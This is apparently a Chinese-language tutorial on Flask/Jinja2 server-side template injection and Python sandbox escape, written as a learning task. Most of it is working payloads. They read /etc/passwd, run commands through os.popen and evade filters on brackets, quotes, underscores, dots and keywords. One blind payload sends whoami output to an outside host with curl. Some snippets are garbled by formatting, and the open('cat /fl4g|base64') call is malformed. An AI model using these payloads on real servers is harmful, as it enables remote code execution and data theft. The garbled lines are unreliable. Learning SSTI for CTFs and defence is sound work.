任务驱动型学习ssti模板注入
前言
ssti服务端模板注入,ssti主要为python的一些框架 jinja2、 mako tornado 、django,PHP框架smarty twig,java框架FreeMarker、jade、 velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。
任务
学习flask_ssti及Python沙箱逃逸,要求掌握漏洞原理及基础绕过手段,在下列环境完整读取到文件目录
1 | # -*- codeing = utf-8 -*- |
目标
- 掌握python flask框架的基础知识
- 对ssti模板注入有基本了解
- 可以进行基本的沙盒逃逸
知识点
python flask框架基础知识
flask
定义
Flask是一个Python编写的Web 微框架,让我们可以使用Python语言快速实现一个网站或Web服务。Flask是一个内核,默认依赖于2个外部库: Jinja2 模板引擎和 WSGI工具集–Werkzeug
渲染方法
render_template()
渲染一个指定的文件,这个指定的文件其实就是模板
render_template_string()
渲染一个字符串,经常会被利用!!!
eg:
源码
1 |
|
结果
运行后网页会显示144,{ { } }中的语句被执行了
基础flask源码分析
1 | # 1 导入flask,我们要用flask,就必须导入Flask |
jinja2
语法
在jinja2中存在三种语法
- 控制结构 { { % % } }
- 变量取值 { { } }
- 注释 { # # }
过滤器
变量可以通过“过滤器”进行修改,可以理解为是jinja2里面的内置函数和字符串处理函数。
使用方法
在变量后面使用管道(|)分割,多个过滤器可以链式调用,前一个过滤器的输出会作为后一个过滤器的输入。
eg
1 | {{ 'abc' | captialize }} |
常见过滤器
- safe: 渲染时值不转义
- capitialize: 把值的首字母转换成大写,其他子母转换为小写
- lower: 把值转换成小写形式
- upper: 把值转换成大写形式
- title: 把值中每个单词的首字母都转换成大写
- trim: 把值的首尾空格去掉
- striptags: 渲染之前把值中所有的HTML标签都删掉
- join: 拼接多个值为字符串
- replace: 替换字符串的值
- round: 默认对数字进行四舍五入,也可以用参数进行控制
- int: 把值转换成整型
SSTI模板注入学习
模板引擎
可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,只需要获取用户的数据,然后放到渲染函数里,接着生成模板+用户数据的前端html页面,最后反馈给浏览器,呈现在用户面前。
漏洞原理
与大多数的注入本质相同,当用户输入的数据没有被合理的处理控制时,就有可能数据插入了程序段变成了程序的一部分,从而改变了程序的运行逻辑。
沙盒逃逸基础知识及绕过方法
什么是沙盒逃逸
沙盒逃逸,就是在给我们的一个代码执行环境下,脱离种种过滤和限制,最终成功拿到shell权限的过程。
沙盒逃逸的过程
变量对象=》找到所属类型=》回溯基类=》寻找可利用子类=》获取全局变量
借助的主要是各个类之间的继承关系
一些内建的魔术方法
- __class__:用来查看变量所属的类,根据前面的变量形式可用得到其所属的类
1 | ''.__class__ |
- __bases__:用来查看类的基类,也可是使用数组索引来查看特定位置的值
- __mro__:递归地显示父类一直到 object
1 | ().__class__.__bases__ |
- __subclasses__():查看当前类的子类,以元祖形式返回。
1 | ''.__class__.__mro__[2].__subclasses__()[40] |
利用语句
读文件
py2
1 | object.__subclasses__()[40]('/etc/passwd').read() |
py3
1 | { {().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('cat /fl4g|base64').read()} } |
1 | [].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__import__']('os').__dict__['popen']('ls').read() |
写文件
1 | object.__subclasses__()[40]('/tmp').write('test') |
执行命令
object.subclasses()[59].init.func_globals.linecache下直接有os类,可以直接执行命令:
1 | object.__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read() |
object.subclasses()[59].init.globals.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令:
1 | object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()") |
通用命令执行
1 | { % for c in [].__class__.__base__.__subclasses__() % } |
绕过姿势
过滤中括号[]
getitem()
1
2"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)pop()
1
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
字典读取
1
2__builtins__['eval']()
__builtins__.eval()过滤引号
request绕过
GET方式,利用request.args传递参数
1
{ {().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()} }&arg1=open&arg2=/etc/passwd
POST方式,利用request.values传递参数
1
2{ {().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()} }
post:arg1=open&arg2=/etc/passwdCookie方式,利用request.cookies传递参数
1
2{ {().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()} }
Cookie:arg1=open;arg2=/etc/passwd
先获取chr函数,赋值给chr,后面拼接字符串
1 | { % set |
过滤下划线_
十六进制编码绕过
_编码后为\x5f
request绕过
1
2
3{ {
''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()
} }&class=__class__&mro=__mro__&subclasses=__subclasses__过滤{ {
1
{ % if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' % }1{ % endif % }
过滤func_globals
__getattribute__方法
1
2
3[].__class__.__base__.__subclasses__()[60].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__.values()[12]
# 等价于
[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]过滤
.
在python中,可用以下表示法可用于访问对象的属性
1
2
3
4{{().__class__} }
{{()["__class__"]} }
{{()|attr("__class__")} }
{ {getattr('',"__class__")} }用attr()绕过
1
2
3{ {().__class__} }
#等价于
{ {()|attr('__class__')} }用[]绕过
1
2
3{ {().__class__} }
#等价于
{ {()['__class__']} }
过滤关键字
替换为空
- 双写绕过
直接ban掉
拼接字符绕过
这里以过滤class为例子
用中括号括起来然后里面用引号连接,可以用+号或者不用
1
2{ {()['__cla'+'ss__'].__bases__[0]} }
{ {()['__cla''ss__'].__bases__[0]} }使用join拼接
1
{ {()|attr(["_"*2,"cla","ss","_"*2]|join)} }
反转绕过
1
""["__ssalc__"][::-1]
base64编码绕过
1
2如果过滤掉__class__关键词
__getattribute__('X19jbGFzc19f'.decode('base64'))大小写绕过(前提是过滤的只是小写)
1
""["__CLASS__".lower()]
在jinja2中利用~进行拼接
1
{ %set a='__cla' %}{%set b='ss__'% }{ {""[a~b]} }
过滤init
可以同_enter__或_exit
任务解决方法
基础语句
?name={ {().__class__.__bases\[0].subclasses__()[134].__init\.__globals__[‘popen’](‘dir’).read()} }
绕过关键词检测
通过魔术方法_getattribute把class方法变成字符串操作就是()._class==()._getattribute_\(“__class__“) 接着就可以通过传参绕过
绕过引号过滤
采取request绕过,通过get方法进行传参
payload
1 | ?name={ {().__getattribute__(request.args.x1).__bases__[0].__subclasses__()[134].__init__.__globals__[request.args.x2](request.args.x3).read()} }&x1=__class__&x2=popen&x3=dir |